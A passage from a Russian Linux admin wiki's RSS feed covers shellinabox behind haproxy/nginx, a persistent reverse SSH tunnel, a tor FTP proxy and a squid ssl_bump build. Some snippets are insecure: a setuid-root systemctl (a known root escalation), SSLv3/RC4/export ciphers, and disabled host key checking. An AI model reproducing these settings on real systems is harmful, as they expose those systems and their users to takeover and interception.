Описание возможных параметров запуска доступны тут: &lt;a href=&quot;https://github.com/shellinabox/shellinabox/wiki/shellinaboxd_man&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/shellinabox/shellinabox/wiki/shellinaboxd_man&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/shellinabox/shellinabox/wiki/shellinaboxd_man&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ShellInABox&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;shellinabox&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;61-1605&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;shellinabox_за_haproxy&quot;&gt;ShellInABox за haproxy&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Мне было необходимо, чтобы &lt;strong&gt;shellinabox&lt;/strong&gt; работал на страничке типа &lt;a href=&quot;https://site.name/sh/&quot; class=&quot;urlextern&quot; title=&quot;https://site.name/sh/&quot; rel=&quot;ugc nofollow&quot;&gt;https://site.name/sh/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;/etc/haproxy/haproxy.cfg&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;frontend http
   mode http
   bind *:80
   use_backend sh if { path_beg -i /sh }
   
   
   backend sh
   mode http
   server local_host localhost:4200&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ShellInABox \u0437\u0430 haproxy&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;shellinabox_\u0437\u0430_haproxy&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1606-1974&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;shellinabox_за_nginx&quot;&gt;ShellInABox за nginx&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;server {                                                                                                                                                                                                                                                     
    listen 443;                                                                                                                                                                                                                                              
    server_name server.name;                                                                                                                                                                                                                              
    client_max_body_size 1024M;                                                                                                                                                                                                                              
    ssl on;                                                                                                                                                                                                                                                  
    ssl_certificate /etc/ssl/certs/server.crt;                                                                                                                                                                                                              
    ssl_certificate_key /etc/ssl/private/server.key                                                                                                                                                                                                                                                                                                                                                                                                 
    ssl_session_timeout 360m;                                                                                                                                                                                                                                
    ssl_protocols SSLv3 TLSv1;                                                                                                                                                                                                                               
    ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP;                                                                                                                                                                                   
    ssl_prefer_server_ciphers on;                                                                                                                                                                                                                            
    location / {                                                                                                                                                                                                                                             
        proxy_pass http://127.0.0.1:5000;                                                                                                                                                                                                                    
        proxy_read_timeout 600s;
    }
    location /sh {
        proxy_pass http://127.0.0.1:4200/sh;
        access_log off;
        proxy_redirect default;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        client_max_body_size 10m;
        client_body_buffer_size 128k;
        proxy_connect_timeout 90;
        proxy_send_timeout 90;
        proxy_read_timeout 90;
        proxy_buffer_size 4k;
        proxy_buffers 4 32k;                                                                                                                                                                                                                                 
        proxy_busy_buffers_size 64k;                                                                                                                                                                                                                         
        proxy_temp_file_write_size 64k;                                                                                                                                                                                                                      
    }
server {                                                                                                                                                                                                                                                     
    listen 80;                                                                                                                                                                                                                                               
    server_name server.name;                                                                                                                                                                                                                              
    return 301 https://$host$request_uri;                                                                                                                                                                                                                    
}                                                                                                                                                                                                                                                            
    &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ShellInABox \u0437\u0430 nginx&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;shellinabox_\u0437\u0430_nginx&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1975-8058&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;etcdefaultshellinabox&quot;&gt;/etc/default/shellinabox&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;# Should shellinaboxd start automatically
SHELLINABOX_DAEMON_START=1

# TCP port that shellinboxd&amp;#039;s webserver listens on
SHELLINABOX_PORT=4200

# Parameters that are managed by the system and usually should not need
# changing:
# SHELLINABOX_DATADIR=/var/lib/shellinabox
# SHELLINABOX_USER=shellinabox
# SHELLINABOX_GROUP=shellinabox

# Any optional arguments (e.g. extra service definitions).  Make sure
# that that argument is quoted.
#
#   Beeps are disabled because of reports of the VLC plugin crashing
#   Firefox on Linux/x86_64.
SHELLINABOX_ARGS=&amp;quot;--no-beep -s /sh/:SSH:localhost -t&amp;quot;
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/default\/shellinabox&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etcdefaultshellinabox&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;8059-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 13 Jan 2020 08:20:04 +0000</pubDate>
        </item>
        <item>
            <title>ssh_over_ssl</title>
            <link>https://wiki.autosys.tk/linux_faq/ssh_over_ssl</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;http://blog.chmd.fr/ssh-over-ssl-episode-4-a-haproxy-based-configuration.html&quot; class=&quot;urlextern&quot; title=&quot;http://blog.chmd.fr/ssh-over-ssl-episode-4-a-haproxy-based-configuration.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://blog.chmd.fr/ssh-over-ssl-episode-4-a-haproxy-based-configuration.html&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ssh_tunnel_as_systemd_service</title>
            <link>https://wiki.autosys.tk/linux_faq/ssh_tunnel_as_systemd_service</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно сделать так, чтобы при старте &lt;strong&gt;ubuntu&lt;/strong&gt; автоматически подимался &lt;strong&gt;ssh&lt;/strong&gt;-туннель и поддерживался в рабочем состоянии. &lt;br/&gt;

Для этого создадим файлик сервиса, в него пропишем старт тоннеля.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-365&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;сервис_systemd&quot;&gt;Сервис systemd&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Создаем файл &lt;strong&gt;/etc/systemd/system/secure-tunnel.service&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Unit]
Description=Setup a secure tunnel to remote server
After=network.target

[Service]
ExecStart=/usr/bin/ssh -NT -i /home/user/.ssh/id_rsa -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p 443 -R \*:2233:127.0.0.1:22 loginame@remote.server

# Restart every &amp;gt;2 seconds to avoid StartLimitInterval failure
RestartSec=5
Restart=always

[Install]
WantedBy=multi-user.target&lt;/pre&gt;

&lt;p&gt;
В результате, компьютер, на котором прописан этот сервис будет устанавливать &lt;strong&gt;ssh&lt;/strong&gt;-соединение, в котором будет работать туннель. Локальный порт машины &lt;strong&gt;22&lt;/strong&gt; будет доступен на удаленном сервере &lt;strong&gt;remote.server&lt;/strong&gt; на порту &lt;strong&gt;2233&lt;/strong&gt;. Мне это нужно для доступа по &lt;strong&gt;ssh&lt;/strong&gt; к машине, которая работает за &lt;strong&gt;NAT&lt;/strong&gt;. &lt;br/&gt;

Включаем и стартуем сервис:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl enable secure-tunnel.service
sudo systemctl daemon-reload
sudo systemctl start secure-tunnel.service&lt;/pre&gt;

&lt;p&gt;
Для того, чтобы подключаться к сервису  не только с &lt;strong&gt;localhost&lt;/strong&gt; машины &lt;strong&gt;remote.server&lt;/strong&gt;, но и с других хостов, на сервере &lt;strong&gt;remote.server&lt;/strong&gt; нужно в файлике &lt;strong&gt;/etc/ssh/sshd_config&lt;/strong&gt; сделать так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;GatewayPorts yes&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0435\u0440\u0432\u0438\u0441 systemd&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0435\u0440\u0432\u0438\u0441_systemd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;366-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 27 Nov 2019 08:37:20 +0000</pubDate>
        </item>
        <item>
            <title>systemctl_privileges_without_sudo</title>
            <link>https://wiki.autosys.tk/linux_faq/systemctl_privileges_without_sudo</link>
            <description>
&lt;p&gt;
Чтобы дать обычным пользвателям большие права в системе, но не давать при этом прав root - можно поменять права на &lt;strong&gt;systemctl&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chown root:myuserorgroup /bin/systemctl
sudo chmod 4755 /bin/systemctl&lt;/pre&gt;

&lt;p&gt;
Таким образом - можно дать прав на &lt;strong&gt;reboot&lt;/strong&gt; и на работу с сервисами.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 03 Jun 2022 18:31:06 +0000</pubDate>
        </item>
        <item>
            <title>test_drawio</title>
            <link>https://wiki.autosys.tk/linux_faq/test_drawio</link>
            <description>
&lt;p&gt;
&amp;lt;diagram&amp;gt;:linux_faq:test.xml&amp;lt;/diagram&amp;gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>tor_proxy_with_ftp_support</title>
            <link>https://wiki.autosys.tk/linux_faq/tor_proxy_with_ftp_support</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мой провайдер для чего-то закрыл доступ по &lt;strong&gt;ftp&lt;/strong&gt; к ресурсу &lt;strong&gt;bplaced.com&lt;/strong&gt;, на котором я держу некоторые бекапы.
Возникла необходимость получить доступ к этому ресурсу через tor.
&lt;/p&gt;

&lt;p&gt;
ЗАДАЧА  НЕ РЕШЕНА. НИЖЕ ПРЕВЕДЕНЫ НЕКОТОРЫЕ СООБРАЖЕНИЯ
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-438&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/FTP#Method2:3&quot; class=&quot;urlextern&quot; title=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/FTP#Method2:3&quot; rel=&quot;ugc nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/FTP#Method2:3&lt;/a&gt; &lt;br/&gt;

В данный момент я выбираю подходящий proxy-сервер, который позволит завернуть &lt;abbr title=&quot;File Transfer Protocol&quot;&gt;FTP&lt;/abbr&gt; в SOCKS, устанавливать буду на LXC-контейнер с &lt;strong&gt;Ubuntu 16.04.3&lt;/strong&gt; .
Устанавливаем &lt;strong&gt;tor&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install tor tor-geoipdb&lt;/pre&gt;

&lt;p&gt;
Настраиваем tor в файлике &lt;strong&gt;/etc/tor/torrc&lt;/strong&gt;. Для того, чтобы SOCKS-proxy был доступен из локальной сети нужно добавить строку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SOCKSListenAddress 192.168.x.x&lt;/pre&gt;

&lt;p&gt;
Также нужно включить режим демона:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;RunAsDaemon 1&lt;/pre&gt;

&lt;p&gt;
В файлике &lt;strong&gt;/etc/tor/torsocks.conf&lt;/strong&gt; я указал вот что:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;TorAddress 192.168.x.x
TorPort 9050
AllowInbound 1&lt;/pre&gt;

&lt;p&gt;
Теперь надо включить автозапуск SOCKS-proxy &lt;strong&gt;tor&lt;/strong&gt;  &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl edit tor&lt;/pre&gt;

&lt;p&gt;
И пишем туда такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Service]
ExecStart=
ExecStart=/usr/bin/tor&lt;/pre&gt;

&lt;p&gt;
Перезагружаемся и прповеряем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo netstat -tulpn&lt;/pre&gt;

&lt;p&gt;
В списке должна быть строка с процессом &lt;strong&gt;tor&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;439-1670&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;proxy_-_не_подошел&quot;&gt;3Proxy - не подошел&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Установка &lt;strong&gt;3proxy&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://github.com/z3APA3A/3proxy/archive/0.8.10.tar.gz
tar -xvf ./0.8.10.tar.gz 
cd 3proxy-0.8.10/
make -f ./Makefile.Linux 
sudo make -f ./Makefile.Linux install&lt;/pre&gt;

&lt;p&gt;
Получаем доступ с помощью &lt;strong&gt;lftp&lt;/strong&gt; через &lt;strong&gt;http-proxy&lt;/strong&gt;: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lftp -e &amp;#039;set ftp:proxy http://192.168.77.144:3128; set ftp:use-hftp no; set http:proxy 192.168.77.144:3128; set hftp:proxy 192.168.77.144:3128; set ftp:anon-pass &amp;quot;mozilla@&amp;quot;&amp;#039; ftp://mirror.yandex.ru&lt;/pre&gt;

&lt;p&gt;
Получаем доступ через ftp-proxy:
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;3Proxy - \u043d\u0435 \u043f\u043e\u0434\u043e\u0448\u0435\u043b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;proxy_-_\u043d\u0435_\u043f\u043e\u0434\u043e\u0448\u0435\u043b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1671-2264&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;delegate&quot;&gt;Delegate&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.delegate.org/delegate/Manual.shtml&quot; class=&quot;urlextern&quot; title=&quot;http://www.delegate.org/delegate/Manual.shtml&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.delegate.org/delegate/Manual.shtml&lt;/a&gt; &lt;br/&gt;

Описание функций delegate по-русски: &lt;a href=&quot;https://gist.github.com/andreyvit/4167337&quot; class=&quot;urlextern&quot; title=&quot;https://gist.github.com/andreyvit/4167337&quot; rel=&quot;ugc nofollow&quot;&gt;https://gist.github.com/andreyvit/4167337&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://delegate.hpcc.jp/anonftp/DeleGate/delegate9.9.13.tar.gz
tar -xvf ./delegate9.9.13.tar.gz 
cd  delegate9.9.13
sudo cp ./src/delegated/ /usr/bin/&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Delegate&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;delegate&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2265-2604&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;ftp-proxy_с_поддержкой_socks_на_python&quot;&gt;FTP-proxy с поддержкой SOCKS на python&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://gist.github.com/fmoo/4409975&quot; class=&quot;urlextern&quot; title=&quot;https://gist.github.com/fmoo/4409975&quot; rel=&quot;ugc nofollow&quot;&gt;https://gist.github.com/fmoo/4409975&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://gist.githubusercontent.com/fmoo/4409975/raw/abc8cce1785ecab6797890e6179c59db37209efd/ftplib_simple_proxy.py
sudo apt-get install python-pip unzip
sudo pip install --upgrade pip
sudo apt-get install ftplib-dev
wget https://github.com/Anorov/PySocks/archive/master.zip -O PySocks-master.zip
unzip ./PySocks-master.zip 
cd PySocks-master
sudo python setup.py install&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;FTP-proxy \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 SOCKS \u043d\u0430 python&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ftp-proxy_\u0441_\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439_socks_\u043d\u0430_python&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2605-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>transparent_squid_proxy_with_ssl_bumping</title>
            <link>https://wiki.autosys.tk/linux_faq/transparent_squid_proxy_with_ssl_bumping</link>
            <description>
&lt;h2 class=&quot;sectionedit1&quot; id=&quot;рабочий_вариант_squid_transparent_proxy_с_поддержкой_ssl_без_подмены_сертификатов&quot;&gt;Рабочий вариант Squid transparent proxy с поддержкой SSL без подмены сертификатов&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
По мотивам &lt;a href=&quot;https://habr.com/ru/post/267851/&quot; class=&quot;urlextern&quot; title=&quot;https://habr.com/ru/post/267851/&quot; rel=&quot;ugc nofollow&quot;&gt;https://habr.com/ru/post/267851/&lt;/a&gt; &lt;br/&gt;

Собираю на &lt;strong&gt;Ubuntu 19.04&lt;/strong&gt;. &lt;br/&gt;

Вот пакеты, собранные на &lt;strong&gt;Ubuntu 19.04 x64&lt;/strong&gt; - &lt;a href=&quot;https://wiki.autosys.tk/_media/sbl/squid_4.4_transparent_ssl_ubuntu19.04_x64.tar.gz&quot; class=&quot;media mediafile mf_gz&quot; title=&quot;sbl:squid_4.4_transparent_ssl_ubuntu19.04_x64.tar.gz (3.5 MB)&quot;&gt;squid_4.4_transparent_ssl_ubuntu19.04_x64.tar.gz&lt;/a&gt; &lt;br/&gt;

Для начала - включаем &lt;strong&gt;deb-src&lt;/strong&gt; репозитории в &lt;strong&gt;/etc/apt/sources.list&lt;/strong&gt; &lt;br/&gt;

Ставим запчасти для сборки и исходники squid:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update
sudo apt-get install git fakeroot build-essential devscripts checkinstall
sudo apt-get build-dep squid
sudo apt-get build-dep libecap
sudo apt-get install libssl-dev libgnutls28-dev&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0431\u043e\u0447\u0438\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 Squid transparent proxy \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 SSL \u0431\u0435\u0437 \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0431\u043e\u0447\u0438\u0439_\u0432\u0430\u0440\u0438\u0430\u043d\u0442_squid_transparent_proxy_\u0441_\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439_ssl_\u0431\u0435\u0437_\u043f\u043e\u0434\u043c\u0435\u043d\u044b_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-772&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit2&quot; id=&quot;сборка_libressl_-_не_обязательно&quot;&gt;Сборка LibreSSL - не обязательно&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Скачиваем, собираем и ставим &lt;strong&gt;LibreSSL&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.9.2.tar.gz
tar -xvf ./libressl-2.9.2.tar.gz 
cd libressl-2.9.2/

./configure 
make
sudo checkinstall --pkgname libressl --pkgversion 2.9.2
sudo dpkg -i ./libressl_2.9.2-1_amd64.deb

sudo ldconfig

sudo mv /usr/bin/openssl /usr/bin/openssl-1
sudo update-alternatives --install /usr/bin/openssl openssl /usr/bin/openssl-1 10
sudo update-alternatives --install /usr/bin/openssl openssl /usr/local/bin/openssl 50
sudo update-alternatives --config openssl&lt;/pre&gt;

&lt;p&gt;
Проверяем, что &lt;strong&gt;LibreSSL&lt;/strong&gt; поставился:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ openssl version
LibreSSL 2.9.2&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0431\u043e\u0440\u043a\u0430 LibreSSL - \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0431\u043e\u0440\u043a\u0430_libressl_-_\u043d\u0435_\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;773-1528&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit3&quot; id=&quot;сборка_libecap&quot;&gt;Сборка libecap&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;cd ..
apt-get source libecap

cd libecap-1.0.1/
dpkg-buildpackage -us -uc -nc -d
cd ..
sudo apt-get purge libecap3
sudo dpkg -i ./libecap3_1.0.1-3.2_amd64.deb
sudo dpkg -i ./libecap3-dev_1.0.1-3.2_amd64.deb&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0431\u043e\u0440\u043a\u0430 libecap&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0431\u043e\u0440\u043a\u0430_libecap&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1529-1785&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit4&quot; id=&quot;сборка_squid_с_поддержкой_ssl_bump&quot;&gt;Сборка Squid с поддержкой ssl_bump&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get source squid  
cd squid-4.4/&lt;/pre&gt;

&lt;p&gt;
внесем в &lt;strong&gt;debian/rules&lt;/strong&gt; следующие опции компиляции:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  --enable-ssl
  --enable-ssl-crtd
  --with-openssl&lt;/pre&gt;

&lt;p&gt;
Отключаем проверку зависимостей:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;export DEB_DH_SHLIBDEPS_ARGS_ALL=--dpkg-shlibdeps-params=--ignore-missing-info&lt;/pre&gt;

&lt;p&gt;
Собираем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dpkg-buildpackage -us -uc -nc&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0431\u043e\u0440\u043a\u0430 Squid \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 ssl_bump&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0431\u043e\u0440\u043a\u0430_squid_\u0441_\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439_ssl_bump&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1786-2232&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit5&quot; id=&quot;установка_собранного_squid&quot;&gt;Установка собранного squid&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Удаляем старый &lt;strong&gt;squid&lt;/strong&gt; и &lt;strong&gt;squid-common&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -y purge squid squid-common squid3 squidclient&lt;/pre&gt;

&lt;p&gt;
Устанавливаем свежесобранные пакеты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install squid-langpack libdbi-perl
sudo dpkg -i ../squid_4.4*.deb ../squidclient*.deb ../squid-common*.deb ../squid3_*_all.deb
sudo dpkg -i ../squid_4.4*.deb ../squidclient*.deb ../squid-common*.deb ../squid3_*_all.deb&lt;/pre&gt;

&lt;p&gt;
Запрещаем обновление из репозиториев:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;quot;squid hold&amp;quot; | sudo dpkg --set-selections
echo &amp;quot;squid-common hold&amp;quot; | sudo dpkg --set-selections
echo &amp;quot;squid3 hold&amp;quot; | sudo dpkg --set-selections
echo &amp;quot;squidclient hold&amp;quot; | sudo dpkg --set-selections&lt;/pre&gt;

&lt;/div&gt;
